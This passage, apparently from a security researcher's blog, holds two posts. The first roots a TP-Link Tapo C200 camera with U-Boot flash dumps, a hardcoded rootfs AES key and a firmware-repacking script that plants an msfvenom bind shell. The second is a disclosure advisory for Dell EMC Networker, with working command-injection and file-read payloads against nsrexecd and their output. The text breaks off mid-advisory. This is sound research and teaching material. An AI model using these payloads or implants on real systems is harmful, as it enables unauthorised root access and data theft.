QTNKSR

Rooting the TP-Link Tapo C200 Rev.5

Fri, 25 Jul 2025 20:00:00 +0000

Long time no see ! Last time I published was four years ago. Since then I joined ONEKEY and most of my stuff is published on our research blog over there. I also started teaching vulnerability research and exploitation to college students here in Belgium, which is what got me to write this blog.

Since I started teaching that VR/XDEV course I stayed on the same target: Cisco RV routers. I know them inside out, there is no weird constructs and the vulnerabilities are (usually) straightforward. However, as years passed I’m always questionning whether exploiting n-days or forever-days that are 4 to 6 years old is still relevant to my students.

I recently had a chat with one of the other teacher who’s first sessions focus on hardware hacking (identifying UART, dumping memory, …) and we came to the conclusion that it may be fun to target cheap IP cameras sold around here. They mentioned they already had a Tapo C100 and were planning to use it for the memory dumping stuff. At that point, I may have said with overconfidence:

Sure, I’ll find a vuln in there so we can use it in my vuln research course too !

I still haven’t found interesting vulnerabilities (and would not share them here, obviously), but I got myself a Tapo C200 Rev.5 with everything I need to perform dynamic analysis. Since some folks over at the IoT Hacker Hideout are also looking at that device, I figured I would share the steps here so they can reproduce and start their own reversing adventure.

They are some interesting tidbits about TP-Link’s project management and embedded development in general. Those are left at the end of this blog.

Storage Dumping

First order of business was obtaining a shell over the serial console on that device. This is already documented by many blog posts around the Internet, the PCB has four solder pads (Vcc, GND, RX, TX) and you can connect your favorite USB-to-serial adapter to see the device serial console.

However, it seems that TP-Link is putting up all kinds of shenanigans dependending on the hardware revision. With some hardware revisions, the test pads are not connected to anything. With others, they designed the PCB to have a 0ohm resistor on lines going from RX and TX to the CPU, respectively, which they don’t populate at the factory (so that it’s not connected). That’s what they did with the C200 Rev.5 that’s sold in EU. It’s not a big issue since you can simply connect probes on the resistor pad closest to the CPU, on the CPU itself, or solder a resistor, or a wire to make those lines live again. The fact that TP-Link chose to spend money on hardware re-design rather than simply disabling UART on the software side is “interesting”.

Once your adapter is connected to the UART port, you can do two things:

access the bootloader by typing slp when U-Boot shows up
be greeted with a Linux login prompt for which we don’t know the password

Dumping the NOR Flash over SPI is a possibility, but you need to desolder it first because of how the PCB is designed. Basically if you power the flash you somehow also power things on the board that tries to talk to the flash. That cross-talks makes any kind of in-system dumping impossible.

I’m lazy and I don’t want to power on my heat gun so I decided to dump the NOR flash through the U-Boot prompt. Let’s put a large enough SD-Card without any kind of partition table on it and dump the flash to it:

sf probe
sf read 0x80600000 0x0 0x000000800000
mmc write 0x80600000 0 16384

Note: Interestingly, TP-Link is slowly removing commands from their U-Boot binaries. In the past the bootcmd was editable, now it’s hardcoded in the binary but the bootargs are still editable. They also removed some commands related to mmc.

Now we can remove the SD-Card, put it into our computer and dump the 8MB of that NOR flash to a file:

dd if=/dev/mmcblk0 of=/tmp/dump.bin bs=1024 count=8192 status=progress

The memory mapping is visible in the boot logs so we know where to look at:

[    0.581072] MTD_REDBOOT_TP_HEADER_ADDRESS:0x70000
[    0.591504] decrypt_rootfs_header done
[    0.595389] Searching for RedBoot partition table
[    0.600273] 16 RedBoot partitions found on MTD device jz_sfc
[    0.606158] Creating 16 MTD partitions on "jz_sfc":
[    0.611227] 0x000000000000-0x00000002d800 : "factory_boot"
[    0.616905] mtd: partition "factory_boot" doesn't end on an erase block -- force read-only
[    0.625966] 0x00000002d800-0x000000030000 : "factory_info"
[    0.631694] mtd: partition "factory_info" doesn't start on an erase block boundary -- force read-only
[    0.641764] 0x000000030000-0x000000040000 : "art"
[    0.647142] 0x000000040000-0x000000050000 : "config"
[    0.652795] 0x000000050000-0x000000070000 : "normal_boot"
[    0.658877] 0x000000070200-0x0000001b0000 : "kernel"
[    0.664066] mtd: partition "kernel" doesn't start on an erase block boundary -- force read-only
[    0.673561] 0x0000001b0000-0x0000003d0000 : "rootfs"
[    0.679182] 0x0000003d0000-0x000000770000 : "rootfs_data"
[    0.685313] 0x000000770000-0x0000007f0000 : "user_record"
[    0.691437] 0x0000007f0000-0x000000800000 : "verify"
[    0.697077] 0x000000070000-0x000000770000 : "firmware"
[    0.702945] 0x000000000000-0x000000800000 : "uitron"
[    0.708566] 0x000000000000-0x000000800000 : "uitron_ext"
[    0.714622] 0x000000000000-0x000000800000 : "ld"
[    0.719906] 0x000000000000-0x000000800000 : "isp"
[    0.725348] 0x000000030000-0x000000800000 : "af"
[    0.730602] SPI NOR MTD LOAD OK

I wrote that dumb python script to cut the dump into each partition:

#!/usr/bin/env python3
import sys
import io
from pathlib import Path


MTD_PARTITIONS = {
    "factory_boot": (0x000000000000, 0x00000002d800),
    "factory_info": (0x00000002d800, 0x000000030000),
    "art": (0x000000030000, 0x000000040000),
    "config": (0x000000040000, 0x000000050000),
    "normal_boot": (0x000000050000, 0x000000070000),
    "kernel": (0x000000070200, 0x0000001b0000),
    "rootfs": (0x0000001b0000, 0x0000003d0000),
    "rootfs_data": (0x0000003d0000, 0x000000770000),
    "user_record": (0x000000770000, 0x0000007f0000),
    "verify": (0x0000007f0000, 0x000000800000),
    "firmware": (0x000000070000, 0x000000770000),
}


with open(sys.argv[1], 'rb') as f:
    for name, offsets in MTD_PARTITIONS.items():
        start_offset, end_offset = offsets
        f.seek(start_offset, io.SEEK_SET)
        print(f"[+] dumping {name}")
        outpath = Path(f"{sys.argv[2]}/{name}.bin")
        outpath.write_bytes(f.read(end_offset-start_offset))

We can check what’s stored in each partition by running file:

file *
art.bin:          data
config.bin:       data
factory_boot.bin: data
factory_info.bin: data
firmware.bin:     data
kernel.bin:       u-boot legacy uImage, mips Ingenic Linux-3.10.14, Linux/MIPS, OS Kernel Image (lzma), 1308335 bytes, Tue Jun 10 06:02:16 2025, Load Address: 0X80010000, Entry Point: 0X80324680, Header CRC: 0X7DD08F79, Data CRC: 0XE46DD18D
normal_boot.bin:  u-boot legacy uImage, u-boot-lzma.img, Firmware/MIPS, Firmware Image (lzma), 66793 bytes, Tue Jun 10 05:59:40 2025, Load Address: 0X820A0000, Entry Point: 00000000, Header CRC: 0X8F6E0DCB, Data CRC: 0X5D9264E5
rootfs.bin:       data
rootfs_data.bin:  Squashfs filesystem, little endian, version 4.0, xz compressed, 3367728 bytes, 119 inodes, blocksize: 65536 bytes, created: Tue Jun 10 06:02:34 2025
user_record.bin:  Linux jffs2 filesystem data little endian
verify.bin:       data

What’s interesting is that the root filesystem (rootfs.bin) does not seem to be a filesystem. On top of that, the boot logs are sus:

[    0.591504] decrypt_rootfs_header done

Let’s try to understand what’s going on.

Reversing Filesystem Encryption

We have a string to look for (decrypt_rootfs_header) and a valid kernel image for which we know the load address (0x80010000). It’s just a matter of loading it into Ghidra with the right architecture (MIPS:LE:32) and load address. I know about vmlinux-to-elf, it just don’t always work.

Looking into that function, we can see the following (variables and functions have been renamed manually):

I’ll spare the details but basically the first 512 bytes of the rootfs are encrypted using AES-128-CFB1 with a key and IV hardcoded in the kernel.

s_TP_LINK88i667gnt_803ba194                     XREF[1]:     decrypt_rootfs_header:801d0550(*
        803ba194 54 50 5f        ds         "TP_LINK88i667gnt"
                 4c 49 4e 
                 4b 38 38 
        803ba1a5 00              ??         00h
        803ba1a6 00              ??         00h
        803ba1a7 00              ??         00h

This was confirmed by downloading TP-Link GPL archive for the Tapo C200. By looking into NVMP/sdk/soc/T23/linux-3.10.14/drivers/mtd/redboot.c, you’ll see the following:

static unsigned char AES_CFB1_key[] = CONFIG_ENCRYPT_ROOTFS_KEY;

static unsigned char AES_CFB1_iv[] =
{
	0x55, 0xAA, 0xDE, 0xAD, 0xC0, 0xDE, 'L', 'I',
	'N', 'U', 'X', 'E', 'x', 'T', 0xAA, 0x55,
};

The IV never changes from product to product or version to version, but the key does change. Searching for strings starting with TP_LINK in the kernel image always brings a single result. Just saying.

Let’s confirm our hypothesis here by decrypting the first 512 bytes:

dd if=out/rootfs.bin bs=512 count=1 | openssl enc -aes-128-cfb1 -d -nosalt -nopad -K 54505f4c494e4b383869363637676e74 -iv 55aadeadc0de4c494e5558457854aa55 | hexdump -C 
1+0 records in
1+0 records out
512 bytes copied, 2,2374e-05 s, 22,9 MB/s
00000000  68 73 71 73 c4 01 00 00  78 ca 47 68 00 00 01 00  |hsqs....x.Gh....|
00000010  0b 00 00 00 04 00 10 00  c0 06 01 00 04 00 00 00  |................|
00000020  81 1c a6 06 00 00 00 00  a0 af 21 00 00 00 00 00  |..........!.....|
00000030  98 af 21 00 00 00 00 00  ff ff ff ff ff ff ff ff  |..!.............|

We got the hsqs magic from a squashfs filesytem, looks good ! So if you only want to extract the filesystem you can do the conversion in place like so:

dd if=out/rootfs.bin bs=512 count=1 | openssl enc -aes-128-cfb1 -d -nosalt -nopad -K 54505f4c494e4b383869363637676e74 -iv 55aadeadc0de4c494e5558457854aa55 | dd of=out/rootfs.bin bs=512 count=1 conv=notrunc

You’ll be left with a valid SquashFS filesystem you can extract with sasquatch or unsquashfs.

Firmware Modding

What I want is the ability to have a remote root shell on the device so that I can perform dynamic analysis and dig deeper into the device internals. To do that I need to:

change the root password
launch a bind shell or reverse shell somehow

The thingino hijackers script did that by emptying the root password and launching a telnet server during init. However, the system has been stripped down to the bare minimum. Telnet, dropbear, ssh, openssl, curl, wget, all the usual suspects are gone. So I simply reverted to good old msfvenom to build a bind shell and put it on the filesystem.

So in the middle of the night I created this monstrosity of a bash script that creates a modded version of the flash. It sets the root password to one of your choosing, place the bindshell in /usr/sbin and modify an init file to launch it on boot:

BLOCK_SIZE=512
ROOTFS_START_OFFSET=0x0000001b0000
ROOTFS_END_OFFSET=0x0000003d0000
ROOTFS_SIZE=$(( ROOTFS_END_OFFSET - ROOTFS_START_OFFSET ))
TMP_FILE=$(mktemp)

dd if="$1" bs="${BLOCK_SIZE}" skip=$((ROOTFS_START_OFFSET / BLOCK_SIZE)) count=1 status=none| openssl enc -aes-128-cfb1 -d -nosalt -nopad -K 54505f4c494e4b383869363637676e74 -iv 55aadeadc0de4c494e5558457854aa55 > "${1}.rootfs.head"

REPACKED_IMG="${1}.repacked"
PLAIN_SQUASHFS="${1}.root.squashfs"
MOD_PLAIN_SQUASHFS="${1}.root.squashfs.mod"

cp "${1}" "${REPACKED_IMG}"
dd if="${1}.rootfs.head" of="${REPACKED_IMG}" bs="${BLOCK_SIZE}" seek=$((ROOTFS_START_OFFSET / BLOCK_SIZE)) conv=notrunc status=none
dd if="${REPACKED_IMG}" of="${PLAIN_SQUASHFS}" bs="${BLOCK_SIZE}" skip=$((ROOTFS_START_OFFSET / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) status=none

rm -rf squashfs-root
unsquashfs  -quiet "${PLAIN_SQUASHFS}"

NEW_PASSWORD=$(openssl passwd -1)
sudo usermod --root "${PWD}/squashfs-root" --password "${NEW_PASSWORD}" root

./msfvenom -p linux/mipsle/shell_bind_tcp LHOST=0.0.0.0 LPORT=4444 -f elf -o squashfs-root/usr/sbin/bindshell
echo "/usr/sbin/bindshell&" >> squashfs-root/etc/init.d/rcS

sudo rm squashfs-root/etc/.pwd.lock
rm -f "${MOD_PLAIN_SQUASHFS}"
mksquashfs squashfs-root "${MOD_PLAIN_SQUASHFS}" -quiet -comp xz


echo "[+] zeroing out the rootfs section"
dd if=/dev/zero obs=$((BLOCK_SIZE)) bs=$((BLOCK_SIZE)) seek=$((ROOTFS_START_OFFSET / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) of="${REPACKED_IMG}" conv=notrunc status=none

echo "[+] writing modified squashfs"
dd if="${MOD_PLAIN_SQUASHFS}" bs="${BLOCK_SIZE}" count=1 status=none| openssl enc -aes-128-cfb1 -e -nosalt -nopad -K 54505f4c494e4b383869363637676e74 -iv 55aadeadc0de4c494e5558457854aa55 | dd of="${REPACKED_IMG}" bs=$((BLOCK_SIZE)) seek=$((ROOTFS_START_OFFSET / BLOCK_SIZE)) conv=notrunc status=none
dd if="${MOD_PLAIN_SQUASHFS}" bs=$((BLOCK_SIZE)) obs=$((BLOCK_SIZE)) skip=1 seek=$(((ROOTFS_START_OFFSET + BLOCK_SIZE) / BLOCK_SIZE)) of="${REPACKED_IMG}" conv=notrunc status=none 

rm -f "${PLAIN_SQUASHFS}"
rm -f "${MOD_PLAIN_SQUASHFS}"
rm -f "${MOD_SQUASHFS}"
rm "${1}.rootfs.head"

Then I can dump the repacked image to my SD-Card:

sudo dd if=dump.bin.repacked of=/dev/mmcblk0 status=progress

Put the SD-Card on the camera, jump to the bootloader console and write the SD-Card content onto the flash:

mmc read 0x80600000 0 4000
sf update 0x80600000 0 800000

Seriously the differences in numbers representation between the sf and mmc is what confused me the most. Both interpret input as hexadecimal integers, but the first counts in blocks while the other counts in bytes. Everytime I do that I need to learn U-Boot again…

Then we can boot (using U-Boot like below), or reset the device by unplugging the power cord:

sf probe; sf read 0x80600000 0x70200 0x200000
bootm 0x80600000

Once the device has done booting, you can login with the password that you entered when running the modding script. You’ll be greeted with this wonderful motd:

But now the good thing is that there is a listener on port TCP/4444 waiting for you to get your bindshell. We can put the PCB back in its plastic shell, put the screws back and hack away from the comfort of our desk.

Conclusion

Gaining that kind of access is always a good step forward when doing vulnerability research on embedded devices. Now that we have remote root access we can install our debug tools (gdbserver), network listeners (tcpdump) and others (strace) to understand what makes the device tick.

Hopefully I’ll find something exploitable by the time my course starts again in Autumn 🤞

I mentioned TP-Link product management in the beginning and I think there’s a few interesting things to note:

Initially, the device had a dedicated binary for each network service being exposed (i.e. one for ONVIF, another for web management, a cloud client, …). Now everything has been merged into one big binary named main. I don’t understand what’s the benefit of spending so many engineering hours (we’re probably talking weeks or months) trying to merge different code bases, putting them in threads, resolving conflicts and race conditions to ship everything in a big binary that’s probably harder to debug or fix now. This is something we see with other camera vendors like Hikvision and Dahua and I never really understood it. If you know more about this let me know.
Multiple vulnerabilities have been identified in Tapo cameras since their release, including memory corruptions. From version to version we see that there are efforts being made by TP-Link to limit the use of insecure functions but up to this day, none of the binary hardening techniques (NX, Stack Canary, PIE/ASLR, RELRO) have been activated on these binaries. Like right now the stack of that main binary is mapped as executable. It’s such an easy win to enable all of these and would make our life much harder. Like point 1, it looks to me like a misallocation of resources.
TP-Link is constantly adding encryption layers at different locations: the firmware updates are encrypted with AES-128-CBC using a key that’s actually the random RSA-PSS salt obtained by verifying a signature using an RSA public key encoded using Microsoft CryptoAPI format. The root filesystem is encrypted using AES-128-CBF1 using a hardcoded key and IV. The configuration files are encrypted with hardcoded keys. There’s also TDP running on UDP/20002 that implements some kind of “secure transfer” where client sends its public key and the server answers with a key encrypted with the public key and sensitive content encrypted with said key; all the while accepting any public key from anyone on the same network. It looks like everyone is doing busy work over there adding layers on layers on layers of obfuscation with no added security in sight.

So Many Ways to Own Dell EMC Networker

Sat, 12 Jun 2021 06:00:00 +0000

In the previous article we covered the different authentication mechanisms implemented by Dell EMC Networker, pointed out the flaws in each of them (identification in oldauth, trust-on-first-use for nsrauth), and provided clear recommendations to Dell EMC Networker administrators that are close to what is said in the EMC NetWorker Security Configuration Guide.

Today we release multiple vulnerabilities affecting Dell EMC Networker to the public. These issues can be exploited as an unauthenticated user in order to gain arbitrary file read or remote command execution. For this to work, we make the assumption that our IP address is in the allow-list and that either oldauth is enabled, or that nsrauth is enabled but the server did not receive an nsrauth request yet (TOFU).

EMC NetWorker (formerly Legato NetWorker) is an enterprise-level data protection software product that unifies and automates backup to tape, disk-based, and flash-based storage media across physical and virtual environments for granular and disaster recovery. Cross-platform support is provided for Linux, Windows, macOS, NetWare, OpenVMS and Unix environments.

These issues were reported to Dell in March 2021:

Name	Comment	ID
Information leak in nsrpolicy	Dell consider it to be fixed since March 2019, but we demonstrated it still works against version 19.4.0.0.Build.25 (latest in Q1 2021).	CVE-2017-8023
Arbitrary command injection in nsrdump	Dell consider it to be fixed since March 2019, but we demonstrated it still works against version 19.4.0.0.Build.25 (latest in Q1 2021).	CVE-2017-8023
Information leak in nsrarchive	Dell did not released a fix within 90 days. 0day.	CVE-2021-21570
Arbitrary file read in nsr_render_log	Dell did not released a fix within 90 days. 0day.	CVE-2021-21569

Dell released an advisory: DSA-2021-124.

Coordinated Disclosure Timeline

Date	Comment
March 12 2021	Sent report to Dell
March 15 2021	Dell acknowledge reception of the report
May 7 2021	Update from Dell (working on a remediation plan)
May 28 2021	Update from Dell (still working on a remediation plan, ask about my disclosure plans)
May 28 2021	Answer Dell with the initialy provided 90 days disclosure policy description
June 4 2021	Update from Dell (two issues might be CVE-2017-8023, says the fix will be ready by November, ask again what my disclosure plans are)
June 6 2021	Answer Dell, explaining that we plan on publishing a blog post here after the 90 days if no fix is available
June 8 2021	Dell gets back to us, explaining that their product team could get a fix out by August 2021. Ask if we could wait until then.
June 10 2021	Answer Dell that we are strictly adhering to our 90 days disclosure policy.
June 10 2021	Dell request a copy of this post.
June 11 2021	Update from Dell (we’re publishing the advisory, thanks for working with us)

Each vulnerability is fully described below, along with a small walkthrough of how they were identified and exploited.

For the impatient, proof-of-concepts are available on Github at https://github.com/qkaiser/networker-pocs.

Command Injection to RCE with nsrdump

Summary

The ‘nsrdump’ command exposed by Dell EMC Networker Server nsrexecd service is affected by an arbitrary command injection vulnerability. By abusing this flaw and existing weaknesses in the oldauth/nsrauth authentication mechanisms, an unauthenticated attacker could execute arbitrary commands on the remote system with the privileges of the nsrexecd service.

Impact

An unauthenticated attacker can gain remote command execution with administrative privileges (root on Linux, SYSTEM on Windows) on hosts where Dell EMC Networker Server is installed.

Affected Products

The following Dell EMC Networker products are affected:

Dell EMC Networker Server version >= 9.1.0.2 for Linux
Dell EMC Networker Server version >= 9.1.0.2 for Windows

Please note that we could not test against versions prior to 9.1.0.2 for lack of availability. The latest version we tested against is version 19.4.0.0.Build.25, which is the latest stable version per Dell EMC.

Description

From the nsrexec manual page:

The nsrexec command is run only by other NetWorker commands. It is used to remotely execute commands on NetWorker clients running nsrexecd, and also to monitor the progress of those commands.

This description is misleading given that nsrexecd runs on every EMC Networker component (server, client, and storage node). We also would like to point out that by “commands”, they mean “networker commands” and not “arbitrary commands”. Networker commands are a limited subset of Networker binaries such as savefs or savegrp.

Investigating Command Injections

We initially checked if we could inject commands via the RPC command itself by injecting shell meta-characters. As we can see from the output below, the RPC command itself is properly escaped and cannot be abused for command injection.

[root@networker-server vagrant]# export RCMD="nsrdump;ls;"
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
139545 1613657003 5 1 23 134215424 670 0 networker-server nsrexecd 32 Unable to spawn process '%s': %s 2 23 11 nsrdump;ls; 24 25 No such file or directory
nsrdump;ls;: Command not found
[root@networker-server vagrant]# export RCMD="nsrdump\$\(ls\)"
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
Invalid command
[root@networker-server vagrant]# export RCMD="nsrdump||ls"
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
139545 1613657142 5 1 23 134215424 670 0 networker-server nsrexecd 32 Unable to spawn process '%s': %s 2 23 11 nsrdump||ls 24 25 No such file or directory
nsrdump||ls: Command not found
[root@networker-server vagrant]# export RCMD="nsrdump&&ls"
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
139545 1613657151 5 1 23 97580800 670 0 networker-server nsrexecd 32 Unable to spawn process '%s': %s 2 23 11 nsrdump&&ls 24 25 No such file or directory
nsrdump&&ls: Command not found

We also noted that nsrexecd implements an allow-list and a deny-list for RPC commands, meaning that a remote user can only request the execution of a limited set of binaries.

A system binary like ‘ls’ is not allowed:

[root@networker-server vagrant]# export RCMD="ls"
[root@networker-server vagrant]# nsrexec -c 127.0.0.1
Invalid command

Any command that starts with nsr is allowed and will be looked for within these directories:

[pid  4358] access("/usr/sbin/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/usr/lib/nsr/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/lib/nsr/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/bin/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/sbin/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/usr/bin/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/usr/sbin/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/usr/bin/nsr/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/usr/sbin/nsr/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/bin/nsr/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[pid  4358] access("/sbin/nsr/nsrlol", X_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)

And a custom deny-list blocks execution of the following NSR binaries, which can be considered dangerous for Networker’s operations:

nsradmin
nsrexecd
nsraddadmin
nsr_shutdown
nsrfile
recover
dp_recover

We therefore started looking for vulnerabilities affecting the allowed binaries themselves.

Finding the right candidate: nsrdump

One command that caught our eye is nsrdump. There is no manual entry for nsrdump, but the help output is provided below:

nsrdump -h
usage: nsrdump [-V | [[-efnx?] [-D debug_level] [-M mail_program] [-a skip_attr]
	[-r skip_resource] [-m email_address] [-o output_file] [-s sender_address]]

nsrdump is a utility that dumps the Dell EMC Networker Server configuration to stdout. An interesting aspect of that utility is that the dumped information can be sent out to an email address (-m email_address). For the email to be sent out, two other parameters must be set explicitly: the output file (-o output_file) and the mail program (-M mail_program).

One could, for example, provide sendmail as a mail program:

export RCMD="nsrdump -m root@localhost -o test -M sendmail"
nsrexec -c 127.0.0.1
89477 1613727512 5 1 2 1438164800 16224 0 networker-server nsrdump SYSTEM critical 23 error
sending mail: %s. 1 0 108 sendmail -s "Report Home 1.0 networker-server1606991028192168121238"
root@localhost < "/nsr/applogs/rh/test"

And nsrdump would launch a subprocess with command line (“sh -c sendmail …”):

[pid 16224] execve("/usr/sbin/nsrdump", ["/usr/sbin/nsrdump", "-m", "root@localhost", "-o",
"test", "-M", "sendmail"], 0x7faa70014470 /* 9 vars */) = 0
[pid 16231] execve("/bin/sh", ["sh", "-c", "sendmail -s \"Report Home 1.0 net"...], 
0x7ffec9638e18 /* 9 vars */) = 0

The nsrdump binary accepts any input for the mail program parameter, which leads to arbitrary command injection. In the examples below, we demonstrate two ways of calling id:

[root@networker-server /]# export RCMD="nsrdump -m root@localhost -o test -M 'id;'"
[root@networker-server /]# nsrexec -c 127.0.0.1
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh: -s: command not found
89477 1613727665 5 1 2 848533312 16405 0 networker-server nsrdump SYSTEM critical 23 error
sending mail: %s. 1 0 103 id; -s "Report Home 1.0 networker-server1606991028192168121238"
root@localhost < "/nsr/applogs/rh/test"

[root@networker-server /]# export RCMD="nsrdump -m root@localhost -o test -M '\$\(id\)'"
[root@networker-server /]# nsrexec -c 127.0.0.1
sh: uid=0(root): command not found
89477 1613727689 5 1 2 1844410176 16447 0 networker-server nsrdump SYSTEM critical 23 error
sending mail: %s. 1 0 105 $(id) -s "Report Home 1.0 networker-server1606991028192168121238"
root@localhost < "/nsr/applogs/rh/test"

This is confirmed by stracing the nsrexecd daemon. As we can see in the excerpt below, the id binary is launched with execve:

[pid  4018] execve("/usr/sbin/nsrdump", ["/usr/sbin/nsrdump", "-o", "test", "-M", "id;",
"-m", "root@localhost"], 0x7f91fc00ecf0 /* 10 vars */) = 0
[pid  4025] execve("/bin/sh", ["sh", "-c", "id; -s \"Report Home 1.0 networke"...], 
0x7ffd3cd861d8 /* 10 vars */) = 0
[pid  4026] execve("/usr/bin/id", ["id"], 0x81b4f0 /* 13 vars */) = 0

Validating on AWS

We confirmed that this vulnerability affects version (19.4.0.0.Build.25) by launching the attack against our Networker deployment on AWS.

[root@networker-client ~]# export RCMD="nsrdump -m root@localhost -o test -M 'id;'"
[root@networker-client ~]# nsrexec -c 52.86.24.194
uid=0(root) gid=0(root) groups=0(root)
sh: -s: command not found
89477 1613665920 5 1 2 3015612224 4388 0 ip-172-31-50-5.ec2.internal nsrdump SYSTEM critical 23
error sending mail: %s. 1 0 117 id; -s "Report Home 1.0 ip-172-31-50-5.ec2.internal161358023617231505"
root@localhost < "/nsr/applogs/rh/randomstuff"

Validating on Windows

Windows hosts are also affected, here we demonstrate it by executing ping. First we set the command via RCMD, this time using a & separator to inject our command:

export RCMD="nsrdump -m root@localhost -o testy -M 'ping -n 3 192.168.121.238 &'"
nsrexec -c networker-win

As we can see from the Process Monitor screenshot below, the nsrexecd daemon launched nsrdump, which in turn launched cmd.exe with our injected command:

Below is the nsrdump full command line:

"C:\Program Files\EMC NetWorker\nsr\bin\nsrdump.exe" -m root@localhost -o testy -M "ping -n 3 192.168.121.238 &"

And here is the cmd.exe full command line:

C:\Windows\system32\cmd.exe /c ping -n 3 192.168.121.238 & -s
"Report Home 1.0 networker-win1613730535fe8079263bc08dd78858"
root@localhost < "C:\Program Files\EMC NetWorker\nsr\applogs\rh\testy"

Arbitrary File Read to RCE with nsrarchive, nsrpolicy, nsr_render_log

Summary

The ‘nsrpolicy’ command exposed by Dell EMC Networker Server nsrexecd service is affected by an information leak vulnerability. By abusing this flaw and existing weaknesses in the oldauth/nsrauth authentication mechanisms, an unauthenticated attacker could read sensitive files from any host exposing the nsrexecd service.

On Dell EMC Networker Server, this information leak can be turned into remote command execution by taking advantage of Erlang runtime’s presence. Specifically, an attacker can obtain the Erlang cookie value from a file stored on the remote system and use it to establish an authenticated session to the remote Erlang daemon, therefore gaining the ability to execute arbitrary commands on the remote system with elevated privileges.

Impact

An unauthenticated attacker can gain remote command execution with administrative privileges (root on Linux, SYSTEM on Windows) on hosts where Dell EMC Networker Server is installed.

An unauthenticated attacker can gain remote access to any file on hosts where either Dell EMC Networker Server is installed. Some limitations apply to files that can be read, mainly due to the content they hold (special characters triggering nsrpolicy to exit early without leaking the full content).

Affected Products

The following Dell EMC Networker products are affected:

Dell EMC Networker Server version >= 9.1.0.2 for Linux (remote arbitrary file read and RCE)
Dell EMC Networker Server version >= 9.1.0.2 for Windows (remote arbitrary file read and RCE)

Description

From the nsrexec manual page:

The nsrexec command is run only by other NetWorker commands. It is used to remotely execute commands on NetWorker clients running nsrexecd, and also to monitor the progress of those commands.

One command that caught our eye is nsrpolicy:

The nsrpolicy program executes NetWorker backup configuration and activities. nsrpolicy performs the backup configuration through its three parameters: policy, workflow and action.

This command can take filenames as input, respectively:

nsrpolicy input-file
                 { --file_name file_name | -f file_name } [ --stop_on_error bool | -S bool ]

Given that nsrpolicy does not validate the received path and that it runs with root privileges, we can force it to read any file and print out the content on error:

[root@networker-client ~]# export RCMD="nsrpolicy input-file -f /etc/passwd"
[root@networker-client ~]# nsrexec -c 192.168.121.238 2>&1 | grep 'Command from file:'
121415:nsrpolicy: Command from file: root:x:0:0:root:/root:/bin/bash
121415:nsrpolicy: Command from file: bin:x:1:1:bin:/bin:/sbin/nologin
121415:nsrpolicy: Command from file: daemon:x:2:2:daemon:/sbin:/sbin/nologin
121415:nsrpolicy: Command from file: adm:x:3:4:adm:/var/adm:/sbin/nologin
121415:nsrpolicy: Command from file: lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
121415:nsrpolicy: Command from file: sync:x:5:0:sync:/sbin:/bin/sync
121415:nsrpolicy: Command from file: shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
121415:nsrpolicy: Command from file: halt:x:7:0:halt:/sbin:/sbin/halt
121415:nsrpolicy: Command from file: mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
121415:nsrpolicy: Command from file: operator:x:11:0:operator:/root:/sbin/nologin
121415:nsrpolicy: Command from file: games:x:12:100:games:/usr/games:/sbin/nologin
121415:nsrpolicy: Command from file: ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
121415:nsrpolicy: Command from file: nobody:x:99:99:Nobody:/:/sbin/nologin
121415:nsrpolicy: Command from file: systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
121415:nsrpolicy: Command from file: dbus:x:81:81:System message bus:/:/sbin/nologin
121415:nsrpolicy: Command from file: polkitd:x:999:998:User for polkitd:/:/sbin/nologin
121415:nsrpolicy: Command from file: rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
121415:nsrpolicy: Command from file: tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
121415:nsrpolicy: Command from file: rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
121415:nsrpolicy: Command from file: nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
121415:nsrpolicy: Command from file: sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
121415:nsrpolicy: Command from file: postfix:x:89:89::/var/spool/postfix:/sbin/nologin
121415:nsrpolicy: Command from file: chrony:x:998:995::/var/lib/chrony:/sbin/nologin
121415:nsrpolicy: Command from file: vagrant:x:1000:1000:vagrant:/home/vagrant:/bin/bash
121415:nsrpolicy: Command from file: nsrtomcat:x:1001:1001::/nsr/authc:/sbin/nologin
121415:nsrpolicy: Command from file: tcpdump:x:72:72::/:/sbin/nologin

Windows hosts are also affected, here we demonstrate it by reading the remote system hosts file:

[root@networker-client vagrant]# export RCMD='nsrpolicy input-file -f "C:\\Windows\\System32\\drivers\\etc\\hosts"'
[root@networker-client vagrant]# nsrexec -c 192.168.121.183 2>&1 | grep 'Command from file'
121415:nsrpolicy: Command from file: 
121415:nsrpolicy: Command from file: 192.168.121.92	networker-client1
121415:nsrpolicy: Command from file: 192.168.121.50	networker-client
121415:nsrpolicy: Command from file: 192.168.121.238	networker-server
--snip--

Another command that caught our eye is nsrarchive:

